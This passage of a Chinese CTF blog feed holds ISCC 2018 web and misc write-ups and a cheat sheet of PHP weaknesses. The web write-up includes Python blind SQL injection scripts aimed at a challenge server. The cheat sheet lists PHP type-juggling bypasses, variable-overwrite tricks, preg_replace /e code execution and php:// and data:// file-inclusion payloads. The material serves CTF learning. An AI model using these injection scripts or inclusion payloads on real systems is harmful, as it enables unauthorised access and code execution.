<p><img src="/wp-content/uploads/2018/05/052518_1206_36.png" alt="" /><span style="color: black; font-family: Helvetica; font-size: 8pt;"><br />
</span></p>
<p><img src="/wp-content/uploads/2018/05/052518_1206_37.png" alt="" /><span style="color: black; font-family: Helvetica; font-size: 8pt;"><br />
</span></p>
<p><span style="color: black; font-family: Helvetica; font-size: 8pt;">解密: u4g009<br />
</span></p>
<p><img src="/wp-content/uploads/2018/05/052518_1206_38.png" alt="" /><span style="color: black; font-family: Helvetica; font-size: 8pt;"><br />
</span></p>
<p><span style="color: black; font-family: Helvetica; font-size: 8pt;">提示在另一个字段，(真他妈坑啊)，这里直接联合查询注入就可以了。<br />
</span></p>
<p><img src="/wp-content/uploads/2018/05/052518_1206_39.png" alt="" /><span style="color: black; font-family: Helvetica; font-size: 8pt;"><br />
</span></p>
<p><span style="color: black; font-family: Helvetica; font-size: 8pt;">顺便附上我写的垃圾盲注脚本</span></p>
<pre class="lang:default decode:true ">import requests
tname = ''
						
pwd = ''
						
url = 'http://118.190.152.202:8011/index.php'
						
payload = "admin' and ascii(substr(({s}),{m},1))={n}#"
						
fuzz = ('0123456789,abcdefghijklmnopqrstuvwxyz')
# for i in range(1,10):
#     for k in fuzz:
#         p = payload.format(s='select group_concat(table_name) from information_schema.tables where table_schema = database()',m=i,n=ord(k))
#         u = requests.post(url,data = {'username':p,'password':'admin'})
#         if 'normal' in u.content:
#             tname += k
#             print tname
#             break
					
for i in range(1,33):

					for k in fuzz:
        p = payload.format(s="select group_concat(pass) from user",m=i,n=ord(k))
        u = requests.post(url,data = {'username':p,'password':'admin'})

					if
							'normal'
									in u.content:
            pwd += k

					print pwd

						break</pre>
<p>&nbsp;</p>
<p><span style="color: black; font-family: Helvetica; font-size: 8pt;">有种你来绕<br />
</span></p>
<p><span style="color: black; font-family: Helvetica; font-size: 8pt;"> <img src="/wp-content/uploads/2018/05/052518_1206_40.png" alt="" /><br />
</span></p>
<p><span style="color: black; font-family: Helvetica; font-size: 8pt;">根据提示，是mysql的数据库，利用mysql的特性&#8211;隐式类型转换，进行盲注得到密码。<br />
</span></p>
<p><img src="/wp-content/uploads/2018/05/052518_1206_41.png" alt="" /><span style="color: black; font-family: Helvetica; font-size: 8pt;"><br />
</span></p>
<p><span style="color: black; font-family: Helvetica; font-size: 8pt;">写了个脚本跑出密码登录。<br />
</span></p>
<p><img src="/wp-content/uploads/2018/05/052518_1206_42.png" alt="" /></p>
<pre class="lang:default decode:true ">import requests
url = "http://118.190.152.202:8019/login.php"
						
payload = "1'-(ascii(mid((passwd)from({0})))={1})-'"
						
password = ''
						
fuzz = 'abcdefghijklmnopqrstuvwxyz0123456789'
						
for i in range(1,33):

					for k in fuzz:
        p = payload.format(i,ord(k))
        u = requests.post(url,data = {'uname':p,'passwd':'admin'})

					if
							not
									'username'
											in u.content:
            password += k

						print password</pre>
<p>&nbsp;</p>
<p><span style="color: black; font-family: Helvetica; font-size: 8pt;"> 解密: nishishabi1438  (我他妈想打死傻逼出题人)<br />
</span></p>
<p><img src="/wp-content/uploads/2018/05/052518_1206_43.png" alt="" /><span style="color: black; font-family: Helvetica; font-size: 8pt;"><br />
</span></p>
<p><span style="color: black; font-family: Helvetica; font-size: 8pt;">输入flag，执行即可。<br />
</span></p>
<p><img src="/wp-content/uploads/2018/05/052518_1206_44.png" alt="" /><span style="color: black; font-family: Helvetica; font-size: 8pt;"><br />
</span></p>
<p><span style="color: black; font-family: Helvetica; font-size: 8pt;">web400 Only Admin 是cookie注入，但是自己没怎么看，等其他师傅分享wp再学习一波吧。<br />
</span></p>
<p><span style="color: black; font-family: Helvetica; font-size: 8pt;"> </span></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>ISCC 2018 Msic WriteUp</title>
		<link>/ctf/422.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Fri, 25 May 2018 11:50:45 +0000</pubDate>
				<category><![CDATA[CTF笔记]]></category>
		<category><![CDATA[CTF]]></category>
		<category><![CDATA[iscc2018]]></category>
		<category><![CDATA[msic]]></category>
		<category><![CDATA[Writeup]]></category>
		<guid isPermaLink="false">/?p=266</guid>

					<description><![CDATA[X1r0z:你们 520 在撩妹 而我却在做题 What is that? png 格式 应该是手指下面有 flag 拖进 tweakpng CRC 报错 可能更改了图片宽度 or...]]></description>
										<content:encoded><![CDATA[<p>X1r0z:你们 520 在撩妹 而我却在做题</p>
<h2 id="what-is-that">What is that?</h2>
<p><a href="/wp-content/uploads/2018/05/1527078386.jpg"><img loading="lazy" class="alignnone size-full wp-image-267" src="/wp-content/uploads/2018/05/1527078386.jpg" alt="" width="600" height="491" /></a></p>
<p>png 格式 应该是手指下面有 flag</p>
<p>拖进 tweakpng</p>
<p><a href="/wp-content/uploads/2018/05/1527078387.jpg"><img loading="lazy" class="alignnone size-full wp-image-268" src="/wp-content/uploads/2018/05/1527078387.jpg" alt="" width="438" height="169" /></a></p>
<p>CRC 报错 可能更改了图片宽度 or 高度</p>
<p>winhex 修改</p>
<p><a href="/wp-content/uploads/2018/05/1527078388.jpg"><img loading="lazy" class="alignnone size-full wp-image-269" src="/wp-content/uploads/2018/05/1527078388.jpg" alt="" width="378" height="58" /></a></p>
<p>查看</p>
<p><a href="/wp-content/uploads/2018/05/1527078390.jpg"><img loading="lazy" class="alignnone size-full wp-image-270" src="/wp-content/uploads/2018/05/1527078390.jpg" alt="" width="532" height="77" /></a></p>
<h2 id="数字密文">数字密文</h2>
<p><code class="highlighter-rouge">69742773206561737921</code></p>
<p>hex 编码 解码即可</p>
<p><code class="highlighter-rouge">it's easy!</code></p>
<h2 id="秘密电报">秘密电报</h2>
<p><code class="highlighter-rouge">ABAAAABABBABAAAABABAAABAAABAAABAABAAAABAAAABA</code></p>
<p>培根密码</p>
<p><code class="highlighter-rouge">ilikeiscc</code></p>
<p>提交注意大写</p>
<h2 id="重重谍影">重重谍影</h2>
<div class="highlighter-rouge">
<div class="highlight">
<pre class="highlight"><code>Vm0wd2QyVkZOVWRXV0doVlYwZG9WVll3WkRSV2JGbDNXa1JTVjAxWGVGWlZNakExVjBaS2RHVkljRnBXVm5CUVZqQmtTMUl4VG5OaFJtUlhaV3RHTkZkWGRHdFRNVXB6V2toV2FsSnNjRmhhVjNoaFYxWmFjMWt6YUZSTlZtdzBWVEo0YzJGR1NuTlhiR2hYWVd0d2RsUnRlR3RqYkdSMFVteFdUbFp0ZHpCV2EyTXhVekZSZUZkc1ZsZGhlbXhoVm01d1IyTldjRVZTYlVacVZtdHdlbGRyVlRWVk1ERldZMFZ3VjJKR2NIWlpWRXBIVWpGT1dXSkhhRlJTVlhCWFZtMDFkMUl3TlhOVmJGcFlZbGhTV1ZWcVFURlRWbEY0VjIxR2FGWnNjSGxaYWs1clZqSkdjbUo2UWxwV1JWcDZWbXBHVDJNeGNFaGpSazVZVWxWd1dWWnRNVEJXTVUxNFdrVmtWbUpHV2xSWlZFNVRWVVpzYzFadVpGUmlSbHBaVkZaU1ExWlhSalpTYTJSWFlsaENVRll3V21Gak1XUnpZVWRHVTFKV2NGRldha0poV1ZkU1YxWnVTbEJXYldoVVZGUktiMDB4V25OYVJFSm9UVlpXTlZaSE5VOVdiVXB5WTBaYVdtRXhjRE5aTW5oVFZqRmFkRkpzWkU1V2JGa3dWbXhrTUdFeVJraFRiRnBYWVd4d1dGWnFUbE5YUmxsNVRWVmFiRkp0VW5wWlZWcFhZVlpLZFZGdWJGZGlXRUpJV1ZSS1QxWXhTblZWYlhoVFlYcFdWVmRYZUZOamF6RkhWMjVTYWxKWVVrOVZiVEUwVjBaYVNFNVZPVmRXYlZKS1ZWZDRhMWRzV2taWGEzaFhUVlp3V0ZwR1pFOVRSVFZZWlVkc1UyRXpRbHBXYWtvd1lURkplRmR1U2s1V1ZscHdWVzB4VTFac1duUk5WazVPVFZkU1dGZHJWbXRoYXpGeVRsVndWbFl6YUZoV2FrWmhZekpPUjJKR1pGTmxhMVYzVjJ0U1IyRXhUa2RWYmtwb1VtdEtXRmxzWkc5a2JHUllaRVprYTJKV1ducFhhMXB2Vkd4T1NHRklRbFZXTTJoTVZqQmFZVk5GTlZaa1JscFRZbFpLU0ZaSGVGWmxSbHBYVjJ0YVQxWldTbFpaYTFwM1dWWndWMXBHWkZSU2EzQXdXVEJWTVZZeVNuSlRWRUpYWWtad2NsUnJXbHBsUmxweVdrWm9hVkpzY0ZsWFYzUnJWVEZaZUZkdVVtcGxhMHB5VkZaYVMxZEdXbk5oUnpsWVVteHNNMWxyVWxkWlZscFhWbGhvVjFaRldtaFdha3BQVWxaU2MxcEhhRTVpUlc4eVZtdGFWMkV4VVhoYVJXUlVZa2Q0Y1ZWdGRIZGpSbHB4VkcwNVZsWnRVbGhXVjNSclYyeGFjMk5GYUZkaVIyaHlWbTB4UzFaV1duSlBWbkJwVW14d2IxZHNWbUZoTWs1elZtNUtWV0pHV2s5V2JHaERVMVphY1ZKdE9XcE5WbkJaVld4b2IxWXlSbk5UYldoV1lURmFhRlJVUm1GamJIQkhWR3hTVjJFelFqVldSM2hoWVRGU2RGTnJXbXBTVjFKWVZGWmFTMUpHYkhGU2JrNVlVbXR3ZVZkcldtdGhWa2w1WVVjNVYxWkZTbWhhUkVaaFZqRldjMWRzWkZoU01taFFWa1phWVdReFNuTldXR3hyVWpOU2IxVnRkSGRXYkZwMFpVaE9XbFpyY0ZsV1YzQlBWbTFXY2xkdGFGWmlXRTE0Vm0xNGExWkdXbGxqUms1U1ZURldObFZyVGxabGJFcENTbFJPUlVwVVRrVSUzRA==
</code></pre>
</div>
</div>
<p>base64 一直解</p>
<p>注意 url 编码</p>
<div class="highlighter-rouge">
<div class="highlight">
<pre class="highlight"><code>U2FsdGVkX183BPnBd50ynIRM3o8YLmwHaoi8b8QvfVdFHCEwG9iwp4hJHznrl7d4
B5rKClEyYVtx6uZFIKtCXo71fR9Mcf6b0EzejhZ4pnhnJOl+zrZVlV0T9NUA+u1z
iN+jkpb6ERH86j7t45v4Mpe+j1gCpvaQgoKC0Oaa5kc=
</code></pre>
</div>
</div>
<p>AES key 为空</p>
<p><code class="highlighter-rouge">缽娑遠呐者若奢顛悉呐集梵提梵蒙夢怯倒耶哆般究有栗</code></p>
<p><a href="http://www.keyfc.net/bbs/tools/tudoucode.aspx" target="_blank" rel="noopener">tudoucode</a></p>
<p>解密</p>
<p><code class="highlighter-rouge">把我复制走</code></p>
<h2 id="有趣的-iscc">有趣的 ISCC</h2>
<p><a href="/wp-content/uploads/2018/05/1527078391.jpg"><img loading="lazy" class="alignnone size-full wp-image-271" src="/wp-content/uploads/2018/05/1527078391.jpg" alt="" width="648" height="657" /></a></p>
<p>winhex 末尾</p>
<div class="highlighter-rouge">
<div class="highlight">
<pre class="highlight"><code>&amp;#92;&amp;#117;&amp;#48;&amp;#48;&amp;#54;&amp;#54;&amp;#92;&amp;#117;&amp;#48;&amp;#48;&amp;#54;&amp;#99;&amp;#92;&amp;#117;&amp;#48;&amp;#48;&amp;#54;&amp;#49;&amp;#92;&amp;#117;&amp;#48;&amp;#48;&amp;#54;&amp;#55;&amp;#92;&amp;#117;&amp;#48;&amp;#48;&amp;#55;&amp;#98;&amp;#92;&amp;#117;&amp;#48;&amp;#48;&amp;#54;&amp;#57;&amp;#92;&amp;#117;&amp;#48;&amp;#48;&amp;#55;&amp;#51;&amp;#92;&amp;#117;&amp;#48;&amp;#48;&amp;#54;&amp;#51;&amp;#92;&amp;#117;&amp;#48;&amp;#48;&amp;#54;&amp;#51;&amp;#92;&amp;#117;&amp;#48;&amp;#48;&amp;#50;&amp;#48;&amp;#92;&amp;#117;&amp;#48;&amp;#48;&amp;#54;&amp;#57;&amp;#92;&amp;#117;&amp;#48;&amp;#48;&amp;#55;&amp;#51;&amp;#92;&amp;#117;&amp;#48;&amp;#48;&amp;#50;&amp;#48;&amp;#92;&amp;#117;&amp;#48;&amp;#48;&amp;#54;&amp;#54;&amp;#92;&amp;#117;&amp;#48;&amp;#48;&amp;#55;&amp;#53;&amp;#92;&amp;#117;&amp;#48;&amp;#48;&amp;#54;&amp;#101;&amp;#92;&amp;#117;&amp;#48;&amp;#48;&amp;#55;&amp;#100;
</code></pre>
</div>
</div>
<p>unicode 解码</p>
<div class="highlighter-rouge">
<div class="highlight">
<pre class="highlight"><code>\u0066\u006c\u0061\u0067\u007b\u0069\u0073\u0063\u0063\u0020\u0069\u0073\u0020\u0066\u0075\u006e\u007d
</code></pre>
</div>
</div>
<p>再解一次</p>
<p><code class="highlighter-rouge">flag{iscc is fun}</code></p>
<h2 id="where-is-the-flag">Where is the FLAG?</h2>
<p><a href="/wp-content/uploads/2018/05/1527078393.jpg"><img loading="lazy" class="alignnone size-full wp-image-272" src="/wp-content/uploads/2018/05/1527078393.jpg" alt="" width="267" height="264" /></a></p>
<p>拖进 tweakpng 看到 Adobe Photoshop</p>
<p>打开后拼接图层</p>
<p><a href="/wp-content/uploads/2018/05/1527078394.jpg"><img loading="lazy" class="alignnone size-full wp-image-273" src="/wp-content/uploads/2018/05/1527078394.jpg" alt="" width="390" height="391" /></a></p>
<p>扫描即可得到 flag</p>
<h2 id="凯撒十三世">凯撒十三世</h2>
<p><code class="highlighter-rouge">ebdgc697g95w3</code></p>
<p>13 次移位</p>
<p><code class="highlighter-rouge">roqtp697t95j3</code></p>
<p>提交发现不对 后来想想 flag 开头应该是 flag{} 之类的</p>
<p><code class="highlighter-rouge">r -&gt; f o -&gt; l q -&gt; a t -&gt; g</code></p>
<p>以此类推</p>
<p><code class="highlighter-rouge">flag:yougotme</code></p>
<h2 id="一只猫的心思">一只猫的心思</h2>
<p><a href="/wp-content/uploads/2018/05/1527078395.jpg"><img loading="lazy" class="alignnone size-full wp-image-274" src="/wp-content/uploads/2018/05/1527078395.jpg" alt="" width="726" height="687" /></a></p>
<p>foremost 分离出 doc</p>
<div class="highlighter-rouge">
<div class="highlight">
<pre class="highlight"><code>名西三陵帝焰数诵诸山众參哈瑟倒陰捨劫奉惜逝定雙月奉倒放足即闍重号貧老诵夷經友利普过孕北至花令藐灯害蒙能羅福羅夢开雙禮琉德护慈積寫阿璃度戏便通故西故敬于瑟行雙知宇信在礙哈数及息闍殺陵游盧槃药諦慈灯究幽灯豆急彌貧豆親诵梭量树琉敬精者楞来西陰根五消夢众羅持造彌六师彌怖精僧璃夫薩竟祖方夢訶橋經文路困如牟憐急尼念忧戏輸教乾楞能敬告树来楞殊倒哈在紛除亿茶涅根輸持麼阿空瑟稳住濟号他方牟月息盡即来通貧竟怖如槃精老盡恤及游薩戏师毒兄宝下行普鄉释下告劫惜进施盡豆告心蒙紛信胜东蒙求帝金量礙故弟帝普劫夜利除積众老陀告沙師尊尼捨惜三依老蒙守精于排族祖在师利寫首念凉梭妙經栗穆愛憐孝粟尊醯造解住時刚槃宗解牟息在量下恐教众智焰便醯除寂想虚中顛老弥诸持山諦月真羅陵普槃下遠涅能开息灯和楞族根羅宝戒药印困求及想月涅能进至贤金難殊毘瑟六毘捨薩槃族施帝遠念众胜夜夢各万息尊薩山哈多皂诵盡药北及雙栗师幽持牟尼隸姪遠住孕寂以舍精花羅界去住勒排困多閦呼皂難于焰以栗婦愛闍多安逝告槃藐矜竟孕彌弟多者精师寡寫故璃舍各亦方特路茶豆積梭求号栗怖夷凉在顛豆胜住虚解鄉姪利琉三槃以舍劫鄉陀室普焰于鄉依朋故能劫通
</code></pre>
</div>
</div>
<p>拿之前的网址解密</p>
<div class="highlighter-rouge">
<div class="highlight">
<pre class="highlight"><code>523156615245644E536C564856544E565130354B553064524D6C524E546B4A56535655795645644F5530524857544A4553553943566B644A4D6C524E546C7052523155795645744F536C5248515670555330354452456456576B524854554A585231457956554E4F51305A4855544E4553303153566B64424D6C524A546B7058527A525A5245744F576C5A4854544A5554553554513063304E46524C54564A5652316B795255744F51305A4856544E5554564661566B6C464D6B5252546B70595231557A5245394E516C5A4856544A555355354B566B644E5756524E5455705752316B7A5255564F55305248566B465553564A4356306C4E4D6C524E546B4A565231557952453152556C564A56544A455555354B5530644E5756525054554A56523030795645314F516C5A4857544A4553303143566B64464D305648546B744352314A425645744F576C5A4855544A4651303543566B64564D6B524854554A555230557A52454E4F536C644855544A5554553543566B645A4D6B564A546C4E445231566152456C52576C5A4855544A5553303544516B64564D6C524C54564A55523045795245314F556C4A4856544E455355354B56556C564D6B564E546B70535230315A52457452536C564951544A555455354B565564535156524A54564A575230457956456C4E576C46485454525553303143566B6446576C564A54544A46
</code></pre>
</div>
</div>
<p>hex</p>
<div class="highlighter-rouge">
<div class="highlight">
<pre class="highlight"><code>R1VaREdNSlVHVTNVQ05KU0dRMlRNTkJVSVUyVEdOU0RHWTJESU9CVkdJMlRNTlpRR1UyVEtOSlRHQVpUS05DREdVWkRHTUJXR1EyVUNOQ0ZHUTNES01SVkdBMlRJTkpXRzRZREtOWlZHTTJUTU5TQ0c0NFRLTVJVR1kyRUtOQ0ZHVTNUTVFaVklFMkRRTkpYR1UzRE9NQlZHVTJUSU5KVkdNWVRNTUpWR1kzRUVOU0RHVkFUSVJCV0lNMlRNTkJVR1UyRE1RUlVJVTJEUU5KU0dNWVRPTUJVR00yVE1OQlZHWTJES01CVkdFM0VHTktCR1JBVEtOWlZHUTJFQ05CVkdVMkRHTUJUR0UzRENOSldHUTJUTU5CVkdZMkVJTlNDR1VaRElRWlZHUTJUS05DQkdVMlRLTVJUR0EyRE1OUlJHVTNESU5KVUlVMkVNTkpSR01ZREtRSlVIQTJUTU5KVUdSQVRJTVJWR0EyVElNWlFHTTRUS01CVkdFWlVJTTJF
</code></pre>
</div>
</div>
<p>base64</p>
<div class="highlighter-rouge">
<div class="highlight">
<pre class="highlight"><code>GUZDGMJUGU3UCNJSGQ2TMNBUIU2TGNSDGY2DIOBVGI2TMNZQGU2TKNJTGAZTKNCDGUZDGMBWGQ2UCNCFGQ3DKMRVGA2TINJWG4YDKNZVGM2TMNSCG44TKMRUGY2EKNCFGU3TMQZVIE2DQNJXGU3DOMBVGU2TINJVGMYTMMJVGY3EENSDGVATIRBWIM2TMNBUGU2DMQRUIU2DQNJSGMYTOMBUGM2TMNBVGY2DKMBVGE3EGNKBGRATKNZVGQ2ECNBVGU2DGMBTGE3DCNJWGQ2TMNBVGY2EINSCGUZDIQZVGQ2TKNCBGU2TKMRTGA2DMNRRGU3DINJUIU2EMNJRGMYDKQJUHA2TMNJUGRATIMRVGA2TIMZQGM4TKMBVGEZUIM2E
</code></pre>
</div>
</div>
<p>base32</p>
<div class="highlighter-rouge">
<div class="highlight">
<pre class="highlight"><code>5231457A5245644E536C6448525670555530354C5230645A4E4652505456705753566B7952464E4E576C5A485756705554553161566B6C5A4D6C5644546B4E485231704356456450516C5A4A57544A4554303161564564564D6B524C54554A555230466156454E4F51305A4856544A425054303950513D3D
</code></pre>
</div>
</div>
<p>hex</p>
<div class="highlighter-rouge">
<div class="highlight">
<pre class="highlight"><code>R1EzREdNSldHRVpUU05LR0dZNFRPTVpWSVkyRFNNWlZHWVpUTU1aVklZMlVDTkNHR1pCVEdPQlZJWTJET01aVEdVMkRLTUJUR0FaVENOQ0ZHVTJBPT09PQ==
</code></pre>
</div>
</div>
<p>base64</p>
<div class="highlighter-rouge">
<div class="highlight">
<pre class="highlight"><code>GQ3DGMJWGEZTSNKGGY4TOMZVIY2DSMZVGYZTMMZVIY2UCNCGGZBTGOBVIY2DOMZTGU2DKMBTGAZTCNCFGU2A====
</code></pre>
</div>
</div>
<p>base32</p>
<div class="highlighter-rouge">
<div class="highlight">
<pre class="highlight"><code>463161395F69735F493563635F5A4F6C385F4733545030314E54
</code></pre>
</div>
</div>
<p>hex</p>
<p><code class="highlighter-rouge">F1a9_is_I5cc_ZOl8_G3TP01NT</code></p>
<h2 id="暴力xx不可取">暴力XX不可取</h2>
<p>zip 文件 猜测为伪加密</p>
<p>ZipCenOp.jar</p>
<p>解压后打开 flag.txt</p>
<p><code class="highlighter-rouge">vfppjrnerpbzvat</code></p>
<p>凯撒移位 每一对都试一遍</p>
<p><code class="highlighter-rouge">isccwearecoming</code></p>
<p>13 次移位</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>CTF中常见的PHP知识点总结</title>
		<link>/ctf/417.html</link>
		
		<dc:creator><![CDATA[s1ye]]></dc:creator>
		<pubDate>Mon, 21 May 2018 17:30:54 +0000</pubDate>
				<category><![CDATA[CTF笔记]]></category>
		<category><![CDATA[CTF]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[笔记]]></category>
		<guid isPermaLink="false">/?p=222</guid>

					<description><![CDATA[CTF中常见的PHP知识点总结 PHP是一门比较松散的语言，即简单方便，又容易出现一些问题。本文主要总结一些作者遇到过的一些知识点，弱类型、变量覆盖、正则表达式、以及php伪协议等...]]></description>
										<content:encoded><![CDATA[<h1><span class="wpcom_tag_link"><a href="/tags/ctf" title="CTF" target="_blank">CTF</a></span>中常见的<span class="wpcom_tag_link"><a href="/tags/php" title="PHP" target="_blank">PHP</a></span>知识点总结</h1>
<blockquote><p><strong>PHP是一门比较松散的语言，即简单方便，又容易出现一些问题。本文主要总结一些作者遇到过的一些知识点，弱类型、变量覆盖、正则表达式、以及php伪协议等。（欢迎各位小伙伴补充交流</strong><strong>）</strong></p></blockquote>
<h2><strong><em>一</em> 、PHP弱类型</strong></h2>
<p><strong>0x01</strong><strong> &#8220;==&#8221;与&#8221;=</strong><strong>==&#8221;的区别</strong></p>
<p>&#8220;==&#8221;在进行比较时先将字符串类型转化成相同在比较。（如果比较涉及到数字内容的字符串，则字符串会被转换成数值，并且比较按照数值大小来进行）</p>
<p>&#8220;===&#8221;在进行比较时先进行字符串类型判断，再比教。</p>
<blockquote><p><strong>&#8220;根据php手册中所讲，字符串的开头决定了它转换后的值，如果该字符串以合法的数值开始，则使用该合法数值，否则其值为0&#8221;</strong></p></blockquote>
<p>1 == &#8216;1&#8217;; //true</p>
<p>1 == &#8216;1abc&#8217;; //true</p>
<p>0 == &#8216;admin&#8217;; //true</p>
<p>0 === &#8216;admin&#8217;; //false</p>
<p>0e开头的字符串，在比较时被当作科学记数法。所以在hash比较时我们可以利用php弱类型，进行绕过。这里以md5为例<br />
<code>&lt;?php </code></p>
<p><code>if(isset($_POST['uname'])&amp;&amp;isset($_POST['pwd'])){</code></p>
<p><code>     if(md5($_POST['pwd'] == 0)){</code></p>
<p><code>         echo $flag; </code></p>
<p><code>     } </code></p>
<p><code>} </code></p>
<p><code></code><code>?&gt;</code></p>
<pre>贴一些常用到的md5 ==0的字符串。
QNKCDZO
0e830400451993494058024219903391

s878926199a
0e545993274517709034328855841020

s155964671a
0e342768416822451524974117254469

s214587387a
0e848240448830537924465865611904

s214587387a
0e848240448830537924465865611904

s878926199a
0e545993274517709034328855841020

s1091221200a
0e940624217856561557816327384675

s1885207154a
0e509367213418206700842008763514</pre>
<p><strong>并且md5()无法处理数组，所以当传入两个数组时两边都会返回null</strong></p>
<p><code>var_dump(md5($array1)==var_dump($array2));  //true</code><br />
<code>var_dump(null==null);  //true</code></p>
<p><em><strong>0x02  strcmp()、strcasecmp()函数</strong></em></p>
<p>strcmp()和strcasecmp()函数用于比较两个字符串，前者区分大小写。这两个函数都无法处理数组，当传入数组时，返回null。<br />
<code>$flag = "*******";</code><br />
<code>if(strcmp(($_GET['user']),$flag) == 0){</code><br />
<code>     echo $flag;</code><br />
<code>}</code></p>
<p><code>var_dump(null==0); //true </code></p>
<p><em><strong>0x03  switch()函数</strong></em></p>
<p>如果是数字类型的case的话，switch会将参数转化为数值。</p>
<p><code>$id = "2bc";</code><br />
<code>switch($id){</code><br />
<code>case 1:</code><br />
<code>case 2:</code><br />
<code>echo $flag;</code><code>}</code></p>
<p><em><strong>0x04  json绕过</strong></em><br />
<code>    $message = json_decode($_POST['message']);</code><br />
<code>    $key ="*********";</code><br />
<code>    if ($message-&gt;key == $key) {</code><br />
<code>        echo "flag";</code><br />
<code>    }</code><br />
<code>    else {</code><br />
<code>        echo "fail";</code><br />
<code>    }</code><br />
<code> }</code><br />
<code> else{</code><br />
<code>     echo "~~~~";</code><br />
<code> }</code></p>
<p>输入一个json类型的字符串，json_decode会解码为一个数组。payload为 message = {&#8220;key&#8221;:0}</p>
<h2><em><strong>二、变量覆盖</strong></em></h2>
<p><em><strong>0x01  $$的使用</strong></em></p>
<p><code>if (!isset($_POST["flag"]) )</code><br />
<code>	die($_403);</code><br />
<code>foreach ($_GET as $k =&gt; $v){</code><br />
<code>	$$k = $$v;</code><br />
<code>}</code><br />
<code>foreach ($_POST as $k =&gt; $v){</code><br />
<code>	$$k = $v;</code><br />
<code>}</code><br />
<code>if ( $_POST["flag"] !== $flag )</code><br />
<code>	die($_403);</code><br />
<code>echo "flag: ". $flag . "\n";</code><br />
<code>die($_200);</code></p>
<p><em><strong>0x02  extract()函数</strong></em></p>
<p>该函数使用数组键名作为变量名，使用数组键值作为变量值针对数组中的每一个元素，将在当前符号表中创建对应的一个变量。<br />
<code>$flag = "******"</code><br />
<code>extract($_GET)</code><br />
<code>if($text == $f){</code><br />
<code>     echo $flag</code><br />
<code>}</code></p>
<p>最终payload为： ?text=&amp;f=</p>
<p><strong><em>0x03  parse_str()函数</em></strong></p>
<p>该函数用于把查询字符串解析到变量中，如果没有array参数，则由该函数设置的变量将覆盖已存在的同名变量。<br />
<code>$chabug = 'www.chabug.com';</code><br />
<code>parse_str($_SERVER['QUERY_STRING']);</code><br />
<code>echo $chabug;</code></p>
<p>payload为： ?chabug=s1ye  则页面返回 s1ye</p>
<h2><em><strong>三、正则表达式</strong></em></h2>
<p><em><strong>0x01  eregi()函数</strong></em><br />
字符串对比解析，当ereg读取字符串string时,%<span class="hljs-number">00</span>后面的字符串不会不会被解析。<br />
<code>    if (ereg ("^[a-zA-Z]+$", $_GET['a']) !== FALSE)  {</code><br />
<code>        echo 'You password must be alphabet';</code></p>
<p>?a=abc%00123可以绕过(php 5.3x已经不再支持该用法)</p>
<p><strong><em>0x02  preg_replace()函数</em></strong><br />
preg_replace() 的第一个参数如果存在 /e 模式修饰符，则允许代码执行。（如果没有/e修饰符可以尝试%00截断。）<br />
<code>preg_replace("/test/e",$_GET["chabug"],"jutst test");</code></p>
<p>payload:  ?chabug=phpinfo()</p>
<h2><em><strong>四、PHP伪协议</strong></em></h2>
<p><strong>php伪协议(file://,php://filter,php://input,zip://,compress.bzip2://,compress.zlib://,data://)</strong></p>
<p><strong>php版本 &lt;= 5.2可以使用%00进行截断。</strong></p>
<p>file:// 在 allow_url_fopen和allow_url_include双off情况下可以正常使用，用于访问本地文件系统。</p>
<p>用法： file://文件绝对路径和文件名</p>
<p>php://  不需要开启allow_url_fopen(仅php://input,php://stdin,php://memory和php://temp需要开启allow_url_include)</p>
<p>php://filter 读取源码并进行base64编码输出,不然会直接当作php代码执行，就看不到源代码内容了。(在双off下可以正常使用)</p>
<p>php://input 可以访问请求的原始数据的只读流,将post请求中的数据作为php代码执行。</p>
<p>例如：</p>
<p>get:  /include.php?file=php://input</p>
<p>post: &lt;?php phpinfo(); ?&gt;</p>
<p>就会返回phpinfo信息。也可以构造语句getshell。</p>
<p>zip://,bzip://,zlib://协议在双off的情况下也可以正常使用。</p>
<p>使用方法:</p>
<p>zip://chabug.zip#flag.txt（zip://绝对路径#子文件名,flag.txt内容就会以php代码执行。）</p>
<p>compress.bzip2://chabug.bz2和compress.zlib://chabug.gz用法相同</p>
<p>/include.php?file=compress.bzip2://绝对路径/shell.jpg 或者 compress.bzip2://./shell.jpg</p>
<p>data://协议(需要满足双on条件)</p>
<p>/include.php?file=data://text/plain,&lt;?php phpinfo();?&gt;</p>
<p>or data://text/plain;base64,PD9waHAgcGhwaW5mbygpPw4=</p>
<p>or data:text/plain,&lt;?php phpinfo();?&gt;</p>
<p>or data:text/plain;base64,PD9waHAgcGhwaW5mbygpPw4=</p>
<h2><em><strong>五、PHP别名</strong></em></h2>
<p>php2,php3,php4,php5,phps,pht,phtm,phtml。</p>
<p>&nbsp;</p>
<h3><strong>在这里把自己遇到的一些常见知识点总结并分享出来，欢迎各位小伙伴交流指点。</strong></h3>
<p>参考链接：</p>
<p><a href="http://www.freebuf.com/column/148886.html" target="_blank" rel="noopener">php伪协议实现命令执行的七种姿势</a></p>
<p><a href="http://www.freebuf.com/column/150731.html" target="_blank" rel="noopener">代码审计|变量覆盖漏洞</a></p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
